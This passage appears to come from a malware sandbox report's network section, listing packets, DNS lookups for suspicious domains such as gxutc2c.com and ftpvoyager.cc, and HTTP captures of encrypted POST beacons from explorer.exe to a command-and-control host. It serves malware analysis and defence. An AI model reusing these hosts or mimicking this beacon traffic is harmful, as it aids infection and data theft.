Jan 7, 2024 05:30:14.604367971 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.604393005 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.604435921 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.604526997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.604644060 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.604686022 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.604711056 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.604902983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.604943037 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.647541046 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.647634983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.647730112 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.647743940 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.647777081 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.647798061 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.690692902 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.691234112 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.691299915 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.691404104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.691504955 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.691597939 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.694010019 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.694125891 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.694174051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.694217920 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.694262028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.694308996 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.694351912 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.694443941 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.694506884 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.694561005 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.736378908 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.736398935 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.736496925 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.736556053 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.736591101 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.736699104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.736716032 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.736768007 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.870268106 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870309114 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870326996 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870373964 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870407104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870405912 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.870421886 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870440960 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870446920 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.870465040 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.870769024 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870791912 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870820045 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.870913982 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870932102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.870975018 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.870994091 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.871020079 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.871053934 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.871057034 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.871140003 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.871687889 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.871747971 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.871762037 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.871882915 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.914895058 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.914942980 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.914985895 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.915066004 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.915101051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.915118933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.915148020 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.915150881 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.915174007 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.958302021 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.958357096 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.958390951 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.958425999 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.958494902 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.958539963 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.958544016 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.958633900 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.001759052 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.001797915 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.001869917 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.001869917 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.001957893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.002022028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.002074003 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.002093077 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.002156973 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.046926022 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.046941996 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.047055006 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.047054052 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.047152042 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.047286987 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.047348976 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.047379017 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.047434092 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.047519922 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.089703083 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.089730978 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.089783907 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.089813948 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.089942932 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.089987993 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.090034008 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.090117931 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.106767893 CET	49776	9001	192.168.2.4	178.17.170.13
Jan 7, 2024 05:30:15.134320974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.134392977 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.134406090 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.134501934 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.176847935 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.176922083 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.177089930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.177180052 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.177229881 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.178267956 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.178381920 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.178426981 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:15.178472042 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:15.178499937 CET	80	49775	104.21.26.173	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2024 05:29:18.125936031 CET	192.168.2.4	1.1.1.1	0x85b	Standard query (0)	selebration17io.io	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:29:31.964270115 CET	192.168.2.4	1.1.1.1	0x4cb0	Standard query (0)	DNnWlzGnswsDCQNCmwABsgDqpMuf.DNnWlzGnswsDCQNCmwABsgDqpMuf	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:29:48.896272898 CET	192.168.2.4	1.1.1.1	0xd0ce	Standard query (0)	drownthinsaltroutese.pw	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:02.187530994 CET	192.168.2.4	1.1.1.1	0x8fa3	Standard query (0)	ftpvoyager.cc	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:03.200637102 CET	192.168.2.4	1.1.1.1	0x8fa3	Standard query (0)	ftpvoyager.cc	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.202836990 CET	192.168.2.4	1.1.1.1	0x8fa3	Standard query (0)	ftpvoyager.cc	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:07.836409092 CET	192.168.2.4	1.1.1.1	0xef2e	Standard query (0)	hugo.topteamlife.com	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:29.066389084 CET	192.168.2.4	1.1.1.1	0xc206	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:33.530771017 CET	192.168.2.4	1.1.1.1	0xb9e3	Standard query (0)	gxutc2c.com	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:34.558058977 CET	192.168.2.4	1.1.1.1	0xb9e3	Standard query (0)	gxutc2c.com	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:34.866024017 CET	192.168.2.4	1.1.1.1	0x2b2e	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.618031979 CET	192.168.2.4	1.1.1.1	0xb9e3	Standard query (0)	gxutc2c.com	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:38.401469946 CET	192.168.2.4	1.1.1.1	0x52c5	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2024 05:29:18.295159101 CET	1.1.1.1	192.168.2.4	0x85b	No error (0)	selebration17io.io		91.215.85.120	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:29:32.060312986 CET	1.1.1.1	192.168.2.4	0x4cb0	Name error (3)	DNnWlzGnswsDCQNCmwABsgDqpMuf.DNnWlzGnswsDCQNCmwABsgDqpMuf	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:29:48.999069929 CET	1.1.1.1	192.168.2.4	0xd0ce	No error (0)	drownthinsaltroutese.pw		172.67.131.114	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:29:48.999069929 CET	1.1.1.1	192.168.2.4	0xd0ce	No error (0)	drownthinsaltroutese.pw		104.21.4.10	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.171.233.129	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		201.119.33.19	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		180.94.156.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572002888 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.171.233.129	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		201.119.33.19	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		180.94.156.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572021961 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.171.233.129	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		201.119.33.19	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		180.94.156.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:04.572045088 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	ftpvoyager.cc		175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:07.994251966 CET	1.1.1.1	192.168.2.4	0xef2e	No error (0)	hugo.topteamlife.com		104.21.26.173	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:07.994251966 CET	1.1.1.1	192.168.2.4	0xef2e	No error (0)	hugo.topteamlife.com		172.67.138.35	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:29.157167912 CET	1.1.1.1	192.168.2.4	0xc206	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:34.955676079 CET	1.1.1.1	192.168.2.4	0x2b2e	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		187.134.45.172	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		189.232.29.90	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		179.25.14.228	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		187.204.88.251	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885216951 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		187.134.45.172	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		189.232.29.90	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		179.25.14.228	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		187.204.88.251	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885256052 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		187.134.45.172	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		189.232.29.90	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		179.25.14.228	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		187.204.88.251	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:35.885334015 CET	1.1.1.1	192.168.2.4	0xb9e3	No error (0)	gxutc2c.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:38.489567995 CET	1.1.1.1	192.168.2.4	0x52c5	No error (0)	pastebin.com		104.20.68.143	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:38.489567995 CET	1.1.1.1	192.168.2.4	0x52c5	No error (0)	pastebin.com		172.67.34.170	A (IP address)	IN (0x0001)	false
Jan 7, 2024 05:30:38.489567995 CET	1.1.1.1	192.168.2.4	0x52c5	No error (0)	pastebin.com		104.20.67.143	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:29:18.492352009 CET	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mbtiqoisbng.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 161 Host: selebration17io.io
Jan 7, 2024 05:29:18.492508888 CET	161	OUT	Data Raw: 48 9d 8c cf 4e 66 52 2e 5c 70 53 26 79 db 22 ca 21 68 99 14 f8 19 aa da b2 19 a5 8c 03 85 de 92 f9 ac 8e bf 74 44 90 b7 a4 28 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 9e d0 30 d5 Data Ascii: HNfR.\pS&y"!htD(j~_=;}f=B!bO0e/(nITQ4l<>F&"8
Jan 7, 2024 05:29:18.704577923 CET	195	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:29:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 04 00 00 00 1f 3d 5a e4 0d 0a 30 0d 0a 0d 0a Data Ascii: 8=Z0
Jan 7, 2024 05:29:18.709256887 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cflepwuecdwdlle.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 114 Host: selebration17io.io
Jan 7, 2024 05:29:18.709294081 CET	114	OUT	Data Raw: 48 9d 8c cf 4e 66 52 2e 5c 70 53 26 79 db 22 ca 21 68 99 14 f8 19 aa da b2 19 a5 8c 03 85 de 92 f9 ac 8e bf 74 44 90 b7 a4 28 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 a3 a2 5c ca Data Ascii: HNfR.\pS&y"!htD(j~_=;}f=B!bO\m9&IQtyhZ
Jan 7, 2024 05:29:18.925646067 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:29:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 48 93 80 40 51 0c 96 29 fd 5c 6d e5 21 cf b1 26 ad 77 14 07 ef f1 5c 2f 37 bb 0c a4 59 3f b7 e6 06 60 f7 90 aa 17 d3 91 53 98 a8 e9 86 3d d5 2b d6 52 a9 aa ce 6e b9 fd f4 f7 7f 08 00 b6 5f 96 43 35 30 ce 1a fe c9 80 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 03 5a a8 c3 1c 0c 56 3f cb 00 23 be 42 15 37 07 51 72 f1 ca 16 94 1d 79 52 2b e5 fd a3 7b 7e e8 ee ff 7f af 55 db c4 1d 13 13 bf 9e e1 92 24 08 4f d5 03 b1 cb a1 61 6e de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 60 6e 19 e0 3c 95 a9 52 0d d4 96 bc 25 50 e1 9a d4 